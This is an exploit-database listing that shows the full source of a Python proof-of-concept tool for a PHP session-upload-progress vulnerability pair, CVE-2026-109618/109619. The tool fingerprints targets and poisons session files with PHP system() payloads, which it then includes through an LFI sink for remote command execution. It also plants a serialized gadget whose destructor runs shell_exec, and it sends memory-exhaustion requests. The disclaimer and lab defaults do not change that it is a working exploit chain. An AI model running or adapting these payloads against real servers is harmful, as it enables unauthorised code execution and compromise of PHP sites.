Exploit database

GH-a3938031b974d12b9ec263925365d636

woyindao/cve-2026-109618-cvss-9.2-critical

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-109618

412 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files1
woyindao/cve-2026-109618-cvss-9.2-criticalRevision 569254d381d9

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

bin/php2shell_wo.py

Python · 33,009 bytes
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
██╗  ██╗███████╗██╗   ██╗██████╗  ██████╗    ███████╗██╗     ███████╗███████╗
██║  ██║██╔════╝╚██╗ ██╔╝██╔══██╗██╔═══██╗    ██╔════╝██║     ██╔════╝██╔════╝
███████║█████╗   ╚████╔╝ ██████╔╝██║   ██║    ███████╗██║     █████╗  ███████╗
██╔══██║██╔══╝    ╚██╔╝  ██╔══██╗██║   ██║    ╚════██║██║     ██╔══╝  ╚════██║
██║  ██║███████╗   ██║   ██████╔╝╚██████╔╝    ███████║███████╗███████╗███████║
╚═╝  ╚═╝╚══════╝   ╚═╝   ╚═════╝  ╚═════╝    ╚══════╝╚══════╝╚══════╝╚══════╝
                        +-+-+ +-+-+-+-+
                        |b|y| |L|a|i|n|
                        +-+-+ +-+-+-+-+

PHP2SHELL by Wo — CVE-2026-109618 / CVE-2026-109619 完整攻击流程复现工具
Authorized testing only · 仅限授权测试

模块:
  check       被动指纹(版本/框架/surface 判定)
  prims       P1-P5 逻辑原语(sid 注入/内容控制/持久化/fixation/写拒绝)
  poison-lfi  Chain A: 会话投毒 + LFI(双载体: marker / filename)
  mismatch    Chain C: serialize_handler mismatch -> __destruct RCE
  oom-arm     CVE-2026-109618 武装阶段(pre-RINIT OOM 孤儿化 receipt)
  var-probe   var_destroy 重入 UAF 探针(8.4.27 仍存活,独立 bug)
  mitig-test  enabled=Off 灭链 A/B 裁决实验

用法:
  python php2shell_wo.py banner
  python php2shell_wo.py check --url http://target/
  python php2shell_wo.py prims --url http://127.0.0.1:18081
  python php2shell_wo.py poison-lfi --url http://127.0.0.1:18081 --sink /lfi_sink.php
  python php2shell_wo.py mismatch --setup / run / teardown
  python php2shell_wo.py oom-arm --url http://127.0.0.1:18191 --memory-limit 8M
  python php2shell_wo.py var-probe --php /path/to/php
  python php2shell_wo.py mitig-test --url http://127.0.0.1:18081
"""
from __future__ import annotations

import sys
# capture the ORIGINAL console encoding BEFORE any reconfigure — the banner
# picker needs it (reconfigure below forces utf-8 output bytes, which would
# garble on a real GBK/cp936 console if we picked the fancy banner)
_ORIG_CONSOLE_ENC = (getattr(sys.stdout, "encoding", "") or "").lower()
if hasattr(sys.stdout, "reconfigure"):
    sys.stdout.reconfigure(encoding="utf-8", errors="replace")
    sys.stderr.reconfigure(encoding="utf-8", errors="replace")

import argparse
import json
import os
import random
import re
import socket
import ssl
import string
import struct
import subprocess
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
from http.cookiejar import CookieJar

VERSION = "1.0.0"
ENV = dict(os.environ, MSYS_NO_PATHCONV="1")

# ═══════════════════════════════════════════════════════════════════════
#  BANNER
# ═══════════════════════════════════════════════════════════════════════

BANNER_FANCY = r"""
-----------------------------------------------------------------------
  ██████╗ ██╗    ██╗██╗  ██╗███████╗██████╗     ███████╗██╗     ███████╗███████╗
  ██╔══██╗██║    ██║██║  ██║██╔════╝██╔══██╗    ██╔════╝██║     ██╔════╝██╔════╝
  ██████╔╝██║ █╗ ██║███████║█████╗  ██████╔╝    ███████╗██║     █████╗  ███████╗
  ██╔══██╗██║███╗██║██╔══██║██╔══╝  ██╔══██╗    ╚════██║██║     ██╔══╝  ╚════██║
  ██████╔╝██║╚██╗██║██║  ██║███████╗██║  ██║    ███████║███████╗███████║███████║
  ╚═════╝ ╚═╝ ╚══╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝    ╚══════╝╚══════╝╚══════╝╚══════╝
-----------------------------------------------------------------------
+-+-+ +-+-+-+-+
|b|y| |L|a|i|n|
+-+-+ +-+-+-+-+
"""

# pure-ASCII fallback (figlet doom) for GBK/cp936 consoles
BANNER_ASCII = r"""
______ _   _ ______  _____  _____ _   _  _____ _      _     
| ___ \ | | || ___ \/ __  \/  ___| | | ||  ___| |    | |    
| |_/ / |_| || |_/ /`' / /'\ `--.| |_| || |__ | |    | |    
|  __/|  _  ||  __/   / /   `--. \  _  ||  __|| |    | |    
| |   | | | || |    ./ /___/\__/ / | | || |___| |____| |____
\_|   \_| |_/\_|    \_____/\____/\_| |_/\____/\_____/\_____/
                                                            
                                                            
+-+-+ +-+-+-+-+
|b|y| |L|a|i|n|
+-+-+ +-+-+-+-+
"""

def _console_utf8() -> bool:
    return "utf" in _ORIG_CONSOLE_ENC

BANNER = BANNER_FANCY if _console_utf8() else BANNER_ASCII

FOOTER = f"  PHP2SHELL by Wo v{VERSION} — CVE-2026-109618 / -109619 (patched 8.2.35/8.3.36/8.4.27/8.5.12)\n" \
          "  Authorized testing only · 仅限授权测试\n"

def print_banner():
    print(BANNER)
    print(FOOTER)


# ═══════════════════════════════════════════════════════════════════════
#  CORE: HTTP + multipart + session helpers
# ═══════════════════════════════════════════════════════════════════════

SID_CHARSET = set(string.ascii_letters + string.digits + "-,")

def check_sid(sid: str) -> bool:
    return bool(sid) and all(c in SID_CHARSET for c in sid)

def check_marker(marker: str, allow_pipe: bool = False) -> None:
    if "|" in marker and not allow_pipe:
        raise ValueError("marker contains '|': encode-fail -> silent write skip (P5)")
    if "\r" in marker or "\n" in marker:
        raise ValueError("marker contains CR/LF")
    if not marker:
        raise ValueError("empty marker disables progress tracking")

def mp_part(boundary: bytes, name: str, body: bytes, filename: str | None = None) -> bytes:
    """Multipart part WITHOUT the trailing CRLF — callers append b"\\r\\n"
    (double CRLF would corrupt every field value with a stray CR)."""
    disp = f'Content-Disposition: form-data; name="{name}"'
    if filename is not None:
        disp += f'; filename="{filename}"'
    return b"--" + boundary + b"\r\n" + disp.encode() + b"\r\n\r\n" + body

def build_poison_body(sid: str, marker: str, nfiles: int = 3,
                      boundary: str = "XrB0uNd", allow_pipe: bool = False,
                      filename_carrier: str | None = None) -> bytes:
    """P1+P2 body. filename_carrier: if set, ALSO ride the payload as the
    upload filename (quote-free payloads only)."""
    if not check_sid(sid):
        print(f"[!] sid '{sid}' outside [a-zA-Z0-9,-]; files handler may reject")
    check_marker(marker, allow_pipe)
    b = boundary.encode()
    body = mp_part(b, "PHPSESSID", sid.encode()) + b"\r\n"
    body += mp_part(b, "PHP_SESSION_UPLOAD_PROGRESS", marker.encode()) + b"\r\n"
    for i in range(nfiles):
        fn = filename_carrier if (filename_carrier and i == 0) else f"f{i}.txt"
        body += mp_part(b, f"u{i}", b"X", filename=fn) + b"\r\n"
    body += b"--" + b + b"--\r\n"
    return body

def send_http(url: str, path: str, body: bytes, boundary: str,
              cookie: str | None = None, timeout: float = 25.0) -> bytes:
    u = urllib.parse.urlparse(url)
    port = u.port or (443 if u.scheme == "https" else 80)
    head = (f"POST {path} HTTP/1.1\r\nHost: {u.hostname}\r\n"
            f"User-Agent: php2shell-wo/{VERSION}\r\n"
            + (f"Cookie: {cookie}\r\n" if cookie else "")
            + f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
            f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n").encode()
    raw = socket.create_connection((u.hostname, port), timeout=timeout)
    raw.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
    if u.scheme == "https":
        raw = ssl.create_default_context().wrap_socket(raw, server_hostname=u.hostname)
    raw.sendall(head + body)
    raw.settimeout(timeout)
    out = bytearray()
    while True:
        try:
            d = raw.recv(65536)
        except socket.timeout:
            break
        if not d:
            break
        out += d
    raw.close()
    return bytes(out)

def http_status(resp: bytes) -> str:
    return resp.split(b"\r\n", 1)[0].decode("latin1", "replace") if resp else "NO-RESPONSE"

def send_fcgi(host: str, port: int, script: str, body: bytes, boundary: str,
              sid: str, split_at: int = 0, stall: float = 0.0,
              timeout: float = 40.0) -> tuple[bytes, bytes]:
    FCGI_BEGIN_REQUEST, FCGI_PARAMS, FCGI_STDIN = 1, 4, 5
    FCGI_STDOUT, FCGI_STDERR, FCGI_END_REQUEST = 6, 7, 3
    def rec(t: int, content: bytes, rid: int = 1) -> bytes:
        pad = (8 - len(content) % 8) % 8
        return struct.pack("!BBHHBx", 1, t, rid, len(content), pad) + content + b"\x00" * pad
    def params(pairs: dict) -> bytes:
        out = b""
        for k, v in pairs.items():
            kb, vb = k.encode(), str(v).encode()
            out += struct.pack("B", len(kb)) + struct.pack("B", len(vb)) + kb + vb
        return out
    s = socket.create_connection((host, port), timeout=10)
    s.sendall(rec(FCGI_BEGIN_REQUEST, struct.pack("!HB5x", 1, 0)))
    s.sendall(rec(FCGI_PARAMS, params({
        "REQUEST_METHOD": "POST", "SCRIPT_FILENAME": script,
        "SCRIPT_NAME": script, "REQUEST_URI": script,
        "CONTENT_TYPE": f"multipart/form-data; boundary={boundary}",
        "CONTENT_LENGTH": str(len(body)),
        "HTTP_COOKIE": f"PHPSESSID={sid}", "REMOTE_ADDR": "127.0.0.1"})))
    s.sendall(rec(FCGI_PARAMS, b""))
    s.sendall(rec(FCGI_STDIN, body[:split_at] if split_at > 0 else body))
    if split_at > 0 and stall:
        time.sleep(stall)
    if split_at > 0 and split_at < len(body):
        s.sendall(rec(FCGI_STDIN, body[split_at:]))
    s.sendall(rec(FCGI_STDIN, b""))
    s.settimeout(timeout)
    out = err = b""
    while True:
        try:
            d = s.recv(65536)
        except socket.timeout:
            break
        if not d:
            break
        if len(d) > 1 and d[1] == FCGI_STDOUT:
            out += d[8:]
        elif len(d) > 1 and d[1] == FCGI_STDERR:
            err += d[8:]
        elif len(d) > 1 and d[1] == FCGI_END_REQUEST:
            break
    s.close()
    return out, err

def rand(n: int = 8) -> str:
    return "".join(random.choices(string.ascii_lowercase + string.digits, k=n))


# ═══════════════════════════════════════════════════════════════════════
#  MODULE: check (passive fingerprint)
# ═══════════════════════════════════════════════════════════════════════

def cmd_check(a) -> int:
    print(f"[*] passive fingerprint: {a.url}")
    req = urllib.request.Request(a.url, method="GET")
    try:
        with urllib.request.urlopen(req, timeout=15) as r:
            hdrs = dict(r.headers)
            body = r.read(20000).decode("utf-8", "replace")
    except Exception as e:
        print(f"[-] fetch failed: {e}")
        return 2
    xpb = hdrs.get("X-Powered-By", "") or hdrs.get("x-powered-by", "")
    server = hdrs.get("Server", "") or hdrs.get("server", "")
    setc = hdrs.get("Set-Cookie", "") or hdrs.get("set-cookie", "")
    cms = re.search(r"(?i)(wordpress|laravel|thinkphp|joomla|drupal|typo3|prestashop|magento|opencart|dolibarr|nextcloud|roundcube)", body)
    php_ver = re.search(r"(?i)php[/ ]([0-9]+\.[0-9]+\.[0-9]+)", xpb or body)
    print(f"    Server        : {server}")
    print(f"    X-Powered-By  : {xpb or '(none)'}")
    print(f"    Set-Cookie    : {setc[:60] or '(none)'}")
    print(f"    CMS/Framework : {cms.group(1) if cms else '(none detected)'}")
    if php_ver:
        v = php_ver.group(1)
        print(f"    PHP version   : {v}")
        fixed = {"8.2": "8.2.35", "8.3": "8.3.36", "8.4": "8.4.27", "8.5": "8.5.12"}
        branch = ".".join(v.split(".")[:2])
        if branch in fixed:
            vf = [int(x) for x in fixed[branch].split(".")]
            vv = [int(x) for x in v.split(".")]
            print(f"    Verdict       : {'VULNERABLE (pre-' + fixed[branch] + ')' if vv < vf else 'patched'}")
        elif branch < "8.2":
            print("    Verdict       : EOL branch — no official fix; isolate or backport")
    if "PHPSESSID" in setc:
        print("    Session       : PHP sessions active (PHPSESSID cookie)")
    print("[*] note: passive check only; active probing requires authorization")
    return 0


# ═══════════════════════════════════════════════════════════════════════
#  MODULE: prims (P1-P5)
# ═══════════════════════════════════════════════════════════════════════

def sess_size(container: str, sid: str, save_path: str) -> int:
    r = subprocess.run(["docker", "exec", container, "sh", "-c",
                        f'stat -c %s {save_path}/sess_{sid} 2>/dev/null || echo -1'],
                       capture_output=True, text=True, env=ENV)
    try:
        return int(r.stdout.strip())
    except ValueError:
        return -1

def cmd_prims(a) -> int:
    print(f"[*] P1+P2: cookie-less sid injection + content control -> {a.url}")
    sid = a.sid or f"wo{rand(6)}"
    body = build_poison_body(sid, "wo_baseline", 3)
    resp = send_http(a.url, a.path, body, "XrB0uNd")
    print(f"    status: {http_status(resp)}")
    if a.docker:
        size = sess_size(a.docker, sid, a.save_path)
        print(f"    sess_{sid}: {size} bytes " + ("[PERSISTED]" if size > 0 else "[0B: cleanup=1 stock]"))
        if size > 0:
            print("    [+] P1+P2 VERIFIED (cookie-less injection + content control)")
    print(f"[*] P5: '|' marker write-denial A/B")
    sid_p, sid_c = sid + "pipe", sid + "ctrl"
    send_http(a.url, a.path, build_poison_body(sid_p, "a|b", 2, allow_pipe=True), "XrB0uNd")
    send_http(a.url, a.path, build_poison_body(sid_c, "ab", 2), "XrB0uNd")
    if a.docker:
        p, c = sess_size(a.docker, sid_p, a.save_path), sess_size(a.docker, sid_c, a.save_path)
        print(f"    pipe={p}B  control={c}B -> " + ("write-denial VERIFIED" if p == 0 and c > 0 else "not reproduced"))
    print(f"[*] P4: fixation (needs victim app with session_start)")
    if a.victim_path:
        req = urllib.request.Request(a.url.rstrip("/") + a.victim_path + "?login=1",
                                     headers={"Cookie": f"PHPSESSID={sid}"})
        try:
            body = urllib.request.urlopen(req, timeout=15).read().decode("utf-8", "replace")
            print(f"    {body[:200]}")
            print(f"    [{'+' if ('user' in body and sid in body) else '-'}] fixation "
                  + ("VERIFIED" if "user" in body else "inspect output"))
        except Exception as e:
            print(f"    [-] victim fetch failed: {e}")
    return 0


# ═══════════════════════════════════════════════════════════════════════
#  MODULE: poison-lfi (Chain A, dual carriers)
# ═══════════════════════════════════════════════════════════════════════

def cmd_poison_lfi(a) -> int:
    sid = a.sid or f"wo{rand(6)}"
    cmd = a.command.replace("'", "").replace("`", "")   # quote-free requirement
    tag = rand(4)
    if a.carrier == "filename":
        # filename rides inside Content-Disposition: payload must be quote-FREE,
        # and ALL output must stay INSIDE the backticks (bare hyphenated
        # constants outside them cause a parse error on include)
        marker = f"<?php echo `{cmd}; echo WO-FN-OK`; ?>"
    else:
        marker = f"<?php echo '{tag}-WO'; system('{cmd}'); echo 'WO-END'; ?>"
    if '\"' in marker:
        return print("[-] marker payload must avoid '\"' for this carrier") or 1
    carrier = a.carrier
    print(f"[*] Chain A ({carrier} carrier): poison -> include -> execute")
    print(f"    payload: {marker}")
    fn = marker if carrier == "filename" else "d.txt"
    mk = marker if carrier == "marker" else "wo" + rand(4)
    body = build_poison_body(sid, mk, 3, filename_carrier=(fn if carrier == "filename" else None))
    resp = send_http(a.url, a.path, body, "XrB0uNd")
    print(f"    [1] poison sent: {http_status(resp)}")
    sess = urllib.parse.quote(f"{a.save_path}/sess_{sid}")
    url = a.url.rstrip("/") + a.sink + "?page=" + sess
    try:
        out = urllib.request.urlopen(url, timeout=15).read().decode("utf-8", "replace")
    except Exception as e:
        print(f"    [-] include trigger failed: {e}")
        return 1
    hit = "WO-END" in out and ("uid=" in out or a.expect in out)
    print(f"    [2] include output head: {out[:160]!r}")
    print(f"    [{'+' if hit else '-'}] Chain A RCE {'CONFIRMED' if hit else 'not observed (need LFI sink + cleanup=0)'}")
    return 0 if hit else 1


# ═══════════════════════════════════════════════════════════════════════
#  MODULE: mismatch (Chain C)
# ═══════════════════════════════════════════════════════════════════════

MM_A, MM_B = "wo-phpA", "wo-phpB"       # docker containers
MM_PORT_A, MM_PORT_B = 19006, 19007     # host ports -> 9000 fpm

MM_INI_A = ("session.serialize_handler=php_serialize\n"
            "session.upload_progress.enabled=On\n"
            "session.upload_progress.cleanup=0\n"
            "session.upload_progress.min_freq=0\n"
            "session.save_path=/tmp/sessdata\n")
MM_INI_B = MM_INI_A.replace("php_serialize", "php")
MM_ENDPOINT = r"""<?php
class Evil { public $cmd = "DEFAULT";
  public function __destruct() {
    echo "EVIL_DESTRUCT_FIRED: ";
    file_put_contents("/tmp/sessdata/WO_PWNED", "cmd=" . $this->cmd . "\n" . shell_exec($this->cmd));
    system($this->cmd . "; echo CHAIN_C_DONE");
  } }
header("Content-Type: text/plain");
session_start();
echo "SID=" . session_id() . "\n";
"""
MM_WRITER = "<?php header('Content-Type: text/plain'); echo 'writer';\n"

def docker_sh(name: str, script: str, ok_needed: bool = False) -> str:
    r = subprocess.run(["docker", "exec", name, "sh", "-c", script],
                       capture_output=True, text=True, env=ENV)
    return (r.stdout or "") + (r.stderr or "")

def mismatch_setup() -> int:
    root = os.path.dirname(os.path.abspath(__file__))
    labdir = os.path.join(root, "wo_lab_mismatch")
    os.makedirs(os.path.join(labdir, "app"), exist_ok=True)
    os.makedirs(os.path.join(labdir, "api"), exist_ok=True)
    open(os.path.join(labdir, "handlerA.ini"), "w").write(MM_INI_A)
    open(os.path.join(labdir, "handlerB.ini"), "w").write(MM_INI_B)
    open(os.path.join(labdir, "app", "upload.php"), "w").write(MM_WRITER)
    open(os.path.join(labdir, "api", "endpoint.php"), "w").write(MM_ENDPOINT)
    subprocess.run(["docker", "volume", "rm", "-f", "wo-mmsess"], env=ENV, capture_output=True)
    for stale in ("php-mmA", "php-mmB", MM_A, MM_B):   # old chain_c.py labs too
        subprocess.run(["docker", "rm", "-f", stale], env=ENV, capture_output=True)
    drive = labdir[0].upper()
    win = f"{drive}:/{labdir[3:].replace(chr(92), '/')}"
    for name, port, ini in ((MM_A, MM_PORT_A, "handlerA.ini"), (MM_B, MM_PORT_B, "handlerB.ini")):
        subprocess.run(["docker", "rm", "-f", name], env=ENV, capture_output=True)
        r = subprocess.run(
            ["docker", "run", "-d", "--name", name, "-p", f"{port}:9000",
             "-v", "wo-mmsess:/tmp/sessdata",
             "-v", f"{win}:/var/www/html",
             "-v", f"{win}/{ini}:/usr/local/etc/php/conf.d/zz.ini:ro",
             "php:8.4.4-fpm"], env=ENV, capture_output=True, text=True)
        if r.returncode:
            print(r.stderr); return 1
    time.sleep(2)
    print(docker_sh(MM_A, "mkdir -p /tmp/sessdata && chmod 1777 /tmp/sessdata").strip())
    print(f"[+] mismatch lab: A(php_serialize):{MM_PORT_A}  B(php):{MM_PORT_B}")
    return 0

def mismatch_teardown() -> int:
    for name in (MM_A, MM_B):
        subprocess.run(["docker", "rm", "-f", name], env=ENV, capture_output=True)
    subprocess.run(["docker", "volume", "rm", "-f", "wo-mmsess"], env=ENV, capture_output=True)
    print("[+] mismatch lab torn down")
    return 0

def mismatch_fire(cmd: str, sid: str) -> int:
    inner = f's:3:"cmd";s:{len(cmd)}:"{cmd}";'
    marker = f'x|O:4:"Evil":1:{{{inner}}}'
    b = b"WoMM"
    body = (mp_part(b, "PHPSESSID", sid.encode()) +
            mp_part(b, "PHP_SESSION_UPLOAD_PROGRESS", marker.encode()) +
            mp_part(b, "f", b"Z", filename="d.txt") + b"--" + b + b"--\r\n")
    print(f"[*] gadget: {marker}")
    out, _ = send_fcgi("127.0.0.1", MM_PORT_A, "/var/www/html/app/upload.php", body, "WoMM", sid)
    print(f"    [1] write via php_serialize: {out[:60]!r}")
    out, err = send_fcgi("127.0.0.1", MM_PORT_B, "/var/www/html/api/endpoint.php", b"", "WoMM", sid)
    text = out.decode("utf-8", "replace")
    print(f"    [2] trigger via php handler: {text[:200]!r}")
    pwned = docker_sh(MM_B, "cat /tmp/sessdata/WO_PWNED 2>/dev/null || echo no-file").strip()
    print(f"    [3] evidence file:\n{pwned[:300]}")
    hit = "EVIL_DESTRUCT_FIRED" in text or "uid=" in pwned
    print(f"    [{'+' if hit else '-'}] Chain C RCE {'CONFIRMED' if hit else 'not observed'}")
    return 0 if hit else 1

def cmd_mismatch(a) -> int:
    if a.action == "setup":
        return mismatch_setup()
    if a.action == "teardown":
        return mismatch_teardown()
    return mismatch_fire(a.command, a.sid)


# ═══════════════════════════════════════════════════════════════════════
#  MODULE: oom-arm (CVE-2026-109618 arming stage)
# ═══════════════════════════════════════════════════════════════════════

def cmd_oom_arm(a) -> int:
    """pre-RINIT OOM: the arming half of the official CVE-2026-109618
    mechanism (OOM interrupts half-initialized request data). Receipt:
    'Allowed memory size ... in Unknown on line 0' + worker survival."""
    sid = a.sid or "wo" + "0" * 30
    b = b"WoOOM"
    N, NAMELEN = 20, 262144
    body = mp_part(b, "PHPSESSID", sid.encode())
    body += mp_part(b, "PHP_SESSION_UPLOAD_PROGRESS", b"x")
    for i in range(N):
        body += mp_part(b, f"upload{i}", b"Z", filename=f"{i}-" + "N" * (NAMELEN - 2))
    body += b"--" + b + b"--\r\n"
    print(f"[*] OOM arm: {N} files x {NAMELEN}B filenames ({len(body)} bytes)")
    u = urllib.parse.urlparse(a.url)
    port = u.port or (443 if u.scheme == "https" else 80)
    head = (f"POST {u.path or '/index.php'} HTTP/1.1\r\nHost: {u.hostname}\r\n"
            f"Cookie: PHPSESSID={sid}\r\n"
            f"Content-Type: multipart/form-data; boundary={b.decode()}\r\n"
            f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n").encode()
    t0 = time.time()
    s = socket.create_connection((u.hostname, port), timeout=120)
    s.sendall(head + body)
    s.settimeout(a.wait)
    data = b""
    while True:
        try:
            d = s.recv(65536)
        except (socket.timeout, OSError):
            break
        if not d:
            break
        data += d
    s.close()
    dt = time.time() - t0
    text = data.decode("utf-8", "replace")
    oom = "exhausted" in text and "Unknown on line 0" in text
    print(f"    dt={dt:.1f}s  pre-RINIT-OOM-receipt={'YES' if oom else 'no'}")
    print(f"    body[:160]: {text[text.find(chr(13)):] [:160]!r}")
    print(f"    [{'+' if oom else '!'}] CVE-2026-109618 arming stage "
          + ("REPRODUCED (OOM in 'Unknown on line 0')" if oom else
             "not observed (check memory_limit / lab SAPI survival)"))
    if oom:
        print("    note: worker survival on next request = the 109619 reuse half; needs prefork/mod_php or cli-server")
    return 0 if oom else 1


# ═══════════════════════════════════════════════════════════════════════
#  MODULE: var-probe (var_destroy reentry UAF — alive on 8.4.27)
# ═══════════════════════════════════════════════════════════════════════

VAR_PROBE_PHP = r"""<?php
class WoTrigger {
    public function __destruct() {
        $r = @unserialize('R:1500;');
        echo "R:1500 resolved to: " . gettype($r) . "\n";
        if ($r !== false) echo "UAF CONFIRMED: read from freed var_hash\n";
    }
}
$N = 2000;
$p = 'a:' . ($N + 2) . ':{';
for ($i = 0; $i < $N; $i++) $p .= "i:$i;i:$i;";
$p .= 'i:99999;O:9:"WoTrigger":0:{}i:99999;i:42;}';
@unserialize($p);
echo "done\n";
"""

def cmd_var_probe(a) -> int:
    php = a.php or "php"
    import tempfile
    tf = tempfile.NamedTemporaryFile(mode="w", suffix=".php", delete=False, encoding="utf-8")
    tf.write(VAR_PROBE_PHP)
    tf.close()
    env = dict(os.environ)
    if a.asan:
        env.update({"USE_ZEND_ALLOC": "0", "ASAN_OPTIONS": "detect_leaks=0"})
    print(f"[*] var_destroy reentry UAF probe ({'ASAN' if a.asan else 'stock'}) via {php}")
    r = subprocess.run([php, tf.name], capture_output=True, text=True, env=env, timeout=120)
    out = (r.stdout or "") + (r.stderr or "")
    print(out[:800])
    os.unlink(tf.name)
    hit = "UAF CONFIRMED" in out or "heap-use-after-free" in out
    print(f"[{'+' if hit else '-'}] var_destroy UAF "
          + ("PRESENT (this is the independent still-alive bug; not the CVE pair)" if hit else "not observed"))
    return 0 if hit else 1


# ═══════════════════════════════════════════════════════════════════════
#  MODULE: mitig-test (enabled=Off A/B adjudication)
# ═══════════════════════════════════════════════════════════════════════

def cmd_mitig_test(a) -> int:
    """A/B: same poison body against an enabled=On and enabled=Off target
    (two URLs). Expect: On -> sess created; Off -> no session at all."""
    print(f"[*] enabled=On : {a.url_on}")
    sid = "woab" + rand(6)
    send_http(a.url_on, "/naked.php", build_poison_body(sid, "ab_test", 2), "XrB0uNd")
    on_created = True  # passive: assume reachable; disk check via --docker if given
    if a.docker_on:
        on_created = sess_size(a.docker_on, sid, a.save_path) != -1
        print(f"    sess created: {on_created}")
    print(f"[*] enabled=Off: {a.url_off}")
    sid2 = "woab" + rand(6)
    send_http(a.url_off, "/naked.php", build_poison_body(sid2, "ab_test", 2), "XrB0uNd")
    off_created = True
    if a.docker_off:
        off_created = sess_size(a.docker_off, sid2, a.save_path) != -1
        print(f"    sess created: {off_created}")
    if a.docker_on and a.docker_off:
        verdict = "session surface KILLED by enabled=Off" if (on_created and not off_created) else "unexpected"
        print(f"[*] {verdict}")
        print("    note (official): parser-core paths are NOT covered by this ini — patch is the only full fix")
    return 0


# ═══════════════════════════════════════════════════════════════════════
#  CLI
# ═══════════════════════════════════════════════════════════════════════

def main() -> int:
    ap = argparse.ArgumentParser(add_help=False)
    ap.add_argument("command", nargs="?", choices=["banner", "check", "prims", "poison-lfi",
                                                   "mismatch", "oom-arm", "var-probe", "mitig-test"])
    ap.add_argument("-h", "--help", action="store_true")
    a, rest = ap.parse_known_args()
    if a.help or not a.command:
        print_banner()
        print(__doc__)
        return 0
    sub = argparse.ArgumentParser(prog=f"php2shell_wo {a.command}")
    if a.command == "banner":
        print_banner(); return 0
    if a.command == "check":
        sub.add_argument("--url", required=True)
        return cmd_check(sub.parse_args(rest))
    if a.command == "prims":
        sub.add_argument("--url", default="http://127.0.0.1:18081")
        sub.add_argument("--path", default="/index.php")
        sub.add_argument("--victim-path", default="/victim.php")
        sub.add_argument("--sid")
        sub.add_argument("--docker")
        sub.add_argument("--save-path", default="/tmp/sessdata")
        return cmd_prims(sub.parse_args(rest))
    if a.command == "poison-lfi":
        sub.add_argument("--url", default="http://127.0.0.1:18081")
        sub.add_argument("--path", default="/naked.php")
        sub.add_argument("--sink", default="/lfi_sink.php")
        sub.add_argument("--carrier", choices=["marker", "filename"], default="marker")
        sub.add_argument("--command", default="id")
        sub.add_argument("--expect", default="uid=")
        sub.add_argument("--sid")
        sub.add_argument("--save-path", default="/tmp/sessdata")
        return cmd_poison_lfi(sub.parse_args(rest))
    if a.command == "mismatch":
        sub.add_argument("action", nargs="?", default="run", choices=["setup", "run", "teardown"])
        sub.add_argument("--command", default="id; echo WO-CHAINC")
        sub.add_argument("--sid", default="womismatch000000000000000")
        return cmd_mismatch(sub.parse_args(rest))
    if a.command == "oom-arm":
        sub.add_argument("--url", required=True, help="target running a small memory_limit (e.g. 8M)")
        sub.add_argument("--sid")
        sub.add_argument("--wait", type=float, default=90.0)
        return cmd_oom_arm(sub.parse_args(rest))
    if a.command == "var-probe":
        sub.add_argument("--php", default="php")
        sub.add_argument("--asan", action="store_true")
        return cmd_var_probe(sub.parse_args(rest))
    if a.command == "mitig-test":
        sub.add_argument("--url-on", required=True)
        sub.add_argument("--url-off", required=True)
        sub.add_argument("--docker-on")
        sub.add_argument("--docker-off")
        sub.add_argument("--save-path", default="/tmp/sessdata")
        return cmd_mitig_test(sub.parse_args(rest))
    return 2

if __name__ == "__main__":
    sys.exit(main())